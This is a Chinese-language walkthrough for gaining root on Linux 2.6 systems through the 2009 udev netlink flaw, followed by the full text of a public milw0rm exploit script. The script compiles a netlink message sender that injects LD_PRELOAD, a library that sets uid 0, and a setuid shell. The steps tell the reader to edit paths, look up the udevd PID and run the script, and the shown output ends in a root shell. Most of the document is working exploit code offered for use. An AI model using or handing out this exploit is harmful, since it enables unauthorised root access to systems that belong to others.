1)创建用户:假设系统上已经建立了一个名为"ttalang",密码为"ttalang"的普通用户,并用该账户登录;(注意:ttalang的用户目录为/home/ttalang)
[ttalang@vmhost ~]$ pwd
/home/ttalang
2)复制代码:如下:完整复制该页面的代码,在本地ttalang目录下保存为名为"a"的文件;(注意:此时a的状态为/home/ttalang/a,a保存着 提权用的代码。名字叫什么是随意的,可以是b,c...)
[ttalang@vmhost ~]$ ls
a
3)修改代码:修改a中的内容,将/tmp全部替换为/home/ttalang(原因是/tmp目录对普通用户很多时候是没有写权限的);将倒数第4行"cp libno_ex.so.1.0 /home/ttalang bno_ex.so.1.0"注释掉(原因是这一行是多余的)。
4)查找udev的PID:查找/sbin/udevd的PID,即执行:"ps aux |grep /sbin/udev"
[ttalang@vmhost ~]$ ps aux |grep /sbin/udev
root 392 0.1 0.3 2916 1400 ? S<s 15:33 0:00 /sbin/udevd -d
ttalang 3266 0.0 0.1 4604 700 pts/1 R+ 15:38 0:00 grep /sbin/udev
5)提权:执行命令chmod u+x a && sh a 391 (注意:这里的391是udev的PID减去1得来的):
[ttalang@vmhost ~]$ sh a 391
suid.c: 在函数 ‘main’ 中:
suid.c:3: 警告:隐式声明与内建函数 ‘execl’ 不兼容
sh-3.1#
提权代码:
*****************************************************************************************
#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char message[LONG_STRING];
char *mp;
mp = message;
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
sendmsg(socket_fd, &msg, 0);
close(socket_fd);
sleep(10);
execl("/tmp/suid", "suid", (void*)0);
}
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
# milw0rm.com [2009-04-20]
*******************************************************************************